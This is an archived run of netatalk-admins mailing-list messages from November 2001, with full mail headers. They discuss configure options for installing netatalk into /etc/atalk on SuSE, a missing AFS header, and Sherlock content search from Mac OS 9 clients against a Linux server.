Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05520
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 05:13:19 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA24306
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 05:13:18 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA24300
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 05:13:18 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id FAA24245
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 05:13:16 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 18613 invoked from network); 23 Nov 2001 10:10:54 -0000
Received: from smtp.morse.com (HELO mailgw1.morse.com) (195.152.231.118)
  by server-44.tower-1.london-2.starlabs.net with SMTP; 23 Nov 2001 10:10:54 -0000
Received: from bsexch1.morse.com (BSEXCH1 [10.10.202.3]) by mailgw1.morse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id WX0G3QH1; Fri, 23 Nov 2001 10:11:54 -0000
Received: by BSEXCH1 with Internet Mail Service (5.5.2653.19)
	id <X2N038LT>; Fri, 23 Nov 2001 10:07:05 -0000
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E472@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: path problem... it does not install to /etc/atalk !!!
Date: Fri, 23 Nov 2001 10:01:02 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

How do I compile netatalk to make it install in
/etc/atalk ....

when performing
./configure --prefix=/usr --sysconfdir=/etc/atalk --datadir=/etc/atalk
--bindir=/usr/bin --sbindir=/usr/sbin --sharedstatedir=/etc/atalk
--mandir=/usr/share/man --infodir=/usr/share/info
--program-transform-name=atalk --enable-shared=yes --enable-static=yes
--enable-suse --enable-fhs --with-pam --with-ssl-dir=/usr
--with-shadow --with-tcp-wrappers --with-did=last --with-flock-locks
--with-msg-dir=/etc/atalk/msg

it installs it in /etc/netatalk

WHY ???

thank you all

- tom


From netatalk.administrators-errors@umich.edu  Fri Nov 23 05:14:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05568
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 05:14:29 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA26118
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 05:14:29 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA26103
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 05:14:29 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.226.68])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA26074
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 05:14:28 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fANADKf26821;
	Fri, 23 Nov 2001 02:13:20 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 23 Nov 2001 02:14:11 -0800
Subject: Re: [Netatalk-devel] compile problem 1.5pre8 on SUSE 7.1
From: Steve Freitas <sflist@ihonk.com>
To: Thomas Baumann <Thomas.Baumann@morse.com>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B8236173.9B11%sflist@ihonk.com>
In-Reply-To: <55EC28DE870FD411A34D00508B6A767DD5E470@frexch1.morse.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Does anybody has an Idea, where I can find afs/venus.h etc. ?
> Or who can provide me an rpm for suse 7.1 (or can tell me how to produce a
> rpm in suse style)

Looks like you need the afs-devel package. You might try what's found here:

http://web.mit.edu/afs/athena/system/afsuser/sipb-dist/linux/

Steve


From netatalk.administrators-errors@umich.edu  Fri Nov 23 10:30:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14848
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 10:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA08952
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 10:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA08939
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 10:30:06 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA08893
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 10:30:04 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fANFU3003387
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 16:30:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fANFU2Z6002067
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 16:30:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fANFU2T2002066
	for netatalk-admins@umich.edu; Fri, 23 Nov 2001 16:30:02 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 167Hy6-0002hP-00; Fri, 23 Nov 2001 16:10:18 +0100
Date: Fri, 23 Nov 2001 16:10:17 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] path problem... it does not install to /etc/atalk !!!
Message-ID: <20011123161017.A10130@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <55EC28DE870FD411A34D00508B6A767DD5E472@frexch1.morse.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <55EC28DE870FD411A34D00508B6A767DD5E472@frexch1.morse.com>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Nov 23, 2001 at 10:01:02AM -0000, Thomas Baumann wrote:
> How do I compile netatalk to make it install in
> /etc/atalk ....

Replace...

> ./configure --prefix=/usr --sysconfdir=/etc/atalk --datadir=/etc/atalk
                            ^^^^^^^^^^^^^^^^^^^^^^^
this by

  --sysconfdir=/etc --with-pkgconfdir=/etc/netatalk

> --bindir=/usr/bin --sbindir=/usr/sbin --sharedstatedir=/etc/atalk
> --mandir=/usr/share/man --infodir=/usr/share/info
> --program-transform-name=atalk --enable-shared=yes --enable-static=yes
> --enable-suse --enable-fhs --with-pam --with-ssl-dir=/usr
                ^^^^^^^^^^^^
Remove this also.

> --with-shadow --with-tcp-wrappers --with-did=last --with-flock-locks
> --with-msg-dir=/etc/atalk/msg
> 
> it installs it in /etc/netatalk

 - Sebastian


From netatalk.administrators-errors@umich.edu  Fri Nov 23 10:46:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15262
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 10:46:16 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA09268
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 10:46:16 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA09258
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 10:46:16 -0500 (EST)
Received: from mailout02.sul.t-online.de (mailout02.sul.t-online.com [194.25.134.17])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA09207
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 10:46:14 -0500 (EST)
Received: from fwd05.sul.t-online.de 
	by mailout02.sul.t-online.de with smtp 
	id 167IWr-0007Xx-03; Fri, 23 Nov 2001 16:46:13 +0100
Received: from hasi.coffee.ac (520007682752-0001@[217.82.195.39]) by fmrl05.sul.t-online.com
	with esmtp id 167IWm-1l45gGC; Fri, 23 Nov 2001 16:46:08 +0100
Received: (from colin@localhost)
	by hasi.coffee.ac (8.9.3/8.9.3) id QAA01317
	for netatalk-admins@umich.edu; Fri, 23 Nov 2001 16:47:42 +0100
Date: Fri, 23 Nov 2001 16:47:42 +0100
From: Colin Tueck <colin@tueck.de>
To: netatalk-admins@umich.edu
Subject: Sherlock / search by content
Message-ID: <20011123164742.A1304@hasi.coffee.ac>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5i
X-OS-Version: Linux 2.4.14 i686
X-Mailer: Mutt 1.2.5i (2000-07-28)
X-Uptime: 4:41pm  up  7:48,  1 user,  load average: 0.00, 0.00, 0.00
X-Sender: 520007682752-0001@t-dialin.net

Hi netatalk-admins!

Has anyone ever realized a Linux server for some Macs with the possibilty
to search files on the server by content with Sherlock? (Mac OS 9 clients)

We need this feature really, and if there is a possibility this would be a 
real good argument for Linux in contrary to Mac OS X Server.

So, if anyone knows a solution, please let me know. :-)

Colin
-- 
| Colin Tück            | Lothringerstr. 101 | Benzstr. 1       |
| Handy:   0173/9896010 | 52070 Aachen       | 47574 Goch       |
| Mail:  colin@tueck.de | Fon: 0241/4003872  | Fon: 02823/95305 |

From netatalk.administrators-errors@umich.edu  Fri Nov 23 10:50:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15408
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 10:50:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA15711
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 10:50:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA15697
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 10:50:32 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA15662
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 10:50:31 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 2517 invoked from network); 23 Nov 2001 15:48:55 -0000
Received: from smtp.morse.com (HELO mailgw1.morse.com) (195.152.231.118)
  by server-48.tower-1.london-2.starlabs.net with SMTP; 23 Nov 2001 15:48:55 -0000
Received: from bsexch1.morse.com (BSEXCH1 [10.10.202.3]) by mailgw1.morse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id WX0G3YFM; Fri, 23 Nov 2001 15:50:03 -0000
Received: by BSEXCH1 with Internet Mail Service (5.5.2653.19)
	id <X2N0398L>; Fri, 23 Nov 2001 15:45:14 -0000
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E478@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: "'Sebastian Rittau'" <srittau@jroger.in-berlin.de>,
        netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: AW: [Netatalk-devel] path problem... it does not install to /etc/
	atalk !!!
Date: Fri, 23 Nov 2001 15:39:13 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA15408

I did it --> look my ./configure:

./configure --prefix=/usr --sysconfdir=/etc --with-pkgconfdir=/etc/atalk 
            --datadir=/etc/atalk 
            --bindir=/usr/bin --sbindir=/usr/sbin 
            --sharedstatedir=/etc/atalk 
            --mandir=/usr/share/man 
            --infodir=/usr/share/info 
            --program-transform-name=atalk 
            --enable-shared=yes --enable-static=yes 
            --enable-suse --with-pam 
            --with-ssl-dir=/usr --with-shadow --with-tcp-wrappers 
            --with-did=last --with-flock-locks --with-msg-dir=/etc/atalk/msg

It installs now in /usr/etc/  !!!!
in /etc/atalk there is only a aclocal/netatalk.m4 !!!

Where is my fault ?

-----Ursprüngliche Nachricht-----
Von: Sebastian Rittau [mailto:srittau@jroger.in-berlin.de]
Gesendet: Freitag, 23. November 2001 16:10
An: netatalk-devel@lists.sourceforge.net; netatalk-admins@umich.edu
Betreff: Re: [Netatalk-devel] path problem... it does not install to
/etc/atalk !!!


On Fri, Nov 23, 2001 at 10:01:02AM -0000, Thomas Baumann wrote:
> How do I compile netatalk to make it install in
> /etc/atalk ....

Replace...

> ./configure --prefix=/usr --sysconfdir=/etc/atalk --datadir=/etc/atalk
                            ^^^^^^^^^^^^^^^^^^^^^^^
this by

  --sysconfdir=/etc --with-pkgconfdir=/etc/netatalk

> --bindir=/usr/bin --sbindir=/usr/sbin --sharedstatedir=/etc/atalk
> --mandir=/usr/share/man --infodir=/usr/share/info
> --program-transform-name=atalk --enable-shared=yes --enable-static=yes
> --enable-suse --enable-fhs --with-pam --with-ssl-dir=/usr
                ^^^^^^^^^^^^
Remove this also.

> --with-shadow --with-tcp-wrappers --with-did=last --with-flock-locks
> --with-msg-dir=/etc/atalk/msg
> 
> it installs it in /etc/netatalk

 - Sebastian

From netatalk.administrators-errors@umich.edu  Fri Nov 23 14:16:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22330
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 14:16:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA17551
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 14:16:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA17540
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 14:16:15 -0500 (EST)
Received: from icsatm4.mobilpost.com (icsatm4-f.mobil.telenor.no [212.17.129.198])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA17438
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 14:16:12 -0500 (EST)
Date: 23 Nov 2001 20:12:19 +0100
Message-ID: <94190443490167484@mobilpost.com>
From: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Subject: Re: Sherlock / search by content
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA22330

Does anyone have the Sherlock API? or is there and SDK of some sort?

On fredag 23. november 2001 16:47, Colin Tueck <colin@tueck.de> wrote:
>Hi netatalk-admins!
>
>Has anyone ever realized a Linux server for some Macs with the possibilty
>to search files on the server by content with Sherlock? (Mac OS
>9 clients)
>
>We need this feature really, and if there is a possibility this would be a 
>real good argument for Linux in contrary to Mac OS X Server.
>
>So, if anyone knows a solution, please let me know. :-)
>
>Colin
>-- 
>| Colin Tück            | Lothringerstr. 101 | Benzstr. 1       |
>| Handy:   0173/9896010 | 52070 Aachen       | 47574 Goch       |
>| Mail:  colin@tueck.de | Fon: 0241/4003872  | Fon: 02823/95305
>|
>


From netatalk.administrators-errors@umich.edu  Fri Nov 23 14:37:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22943
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 14:37:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA00217
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 14:37:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA00204
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 14:37:16 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.226.68])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA00170
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 14:37:15 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fANJaAf26879;
	Fri, 23 Nov 2001 11:36:10 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 23 Nov 2001 11:36:57 -0800
Subject: Re: Sherlock / search by content
From: Steve Freitas <sflist@ihonk.com>
To: Gjermund Gusland Thorsen <90167484@mobilpost.com>,
        <netatalk-admins@umich.edu>
Message-ID: <B823E558.9B38%sflist@ihonk.com>
In-Reply-To: <94190443490167484@mobilpost.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Does anyone have the Sherlock API? or is there and SDK of some sort?

http://developer.apple.com/technotes/tn/tn1176.html#sherlock

Check the links under "Related Materials"

Steve


From netatalk.administrators-errors@umich.edu  Fri Nov 23 16:19:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27934
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 16:19:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA29463
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 16:19:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA29455
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 16:19:39 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA29403
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 16:19:37 -0500 (EST)
Received: from arts.usyd.edu.au (holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id IAA23267;
	Sat, 24 Nov 2001 08:19:18 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BFEBD33.1B0E4AC9@arts.usyd.edu.au>
Date: Sat, 24 Nov 2001 08:18:44 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.13-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Colin Tueck <colin@tueck.de>, netatalk-admins@umich.edu
Subject: Re: Sherlock / search by content
References: <20011123164742.A1304@hasi.coffee.ac>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms586A0E27FF8E96C3699AB088"

This is a cryptographically signed message in MIME format.

--------------ms586A0E27FF8E96C3699AB088
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Colin Tueck wrote:
> 
> Hi netatalk-admins!
> 
> Has anyone ever realized a Linux server for some Macs with the possibilty
> to search files on the server by content with Sherlock? (Mac OS 9 clients)
> 
> We need this feature really, and if there is a possibility this would be a
> real good argument for Linux in contrary to Mac OS X Server.

 I have 2 users who will not use our file server as their idea of
organisation is to pile all their files into the same folder (usually
the 'root' of their hard disk) and use find by content to retrieve
files.
 Even a find by name is slow over the network.

 Fortunatly for me, they are also happy to 'manually' backup important
files to the server....

 I think a 'real' ASIP server runs the search on the server and uses
special AFP functions to instruct and get data from a remote instance of
'sherlock'.
--------------ms586A0E27FF8E96C3699AB088
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTExMjMyMTE4NDVaMCMGCSqGSIb3DQEJBDEWBBTYmewM
z6+UL9N2+8Zto512jVeZWDA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgAGJTPUU+zpCMuEuke/u
EgZfVtK4OtvumaAbKPyLa8c/8ghh58bE5YkKlG264MXS/HwnTUhFIkfUtOK1m0J9Ldh20lRf
fkaGwwM4XXBg3YxeUeoYYURnEmvCfTVgWWJQOONsWgjC9h/YbqmubnExcBqFe9EJonuTGtrL
UJSFuHep
--------------ms586A0E27FF8E96C3699AB088--


From netatalk.administrators-errors@umich.edu  Fri Nov 23 19:39:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04482
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 19:39:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA09544
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 19:39:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA09542
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 19:39:43 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA09538
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 19:39:41 -0500 (EST)
Received: from tc01-n71-025.de.inter.net ([213.73.71.25] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 167Qr6-0002vC-00; Sat, 24 Nov 2001 01:39:40 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA16898;
	Sat, 24 Nov 2001 01:04:53 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
Date: Sat, 24 Nov 2001 01:00:12 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
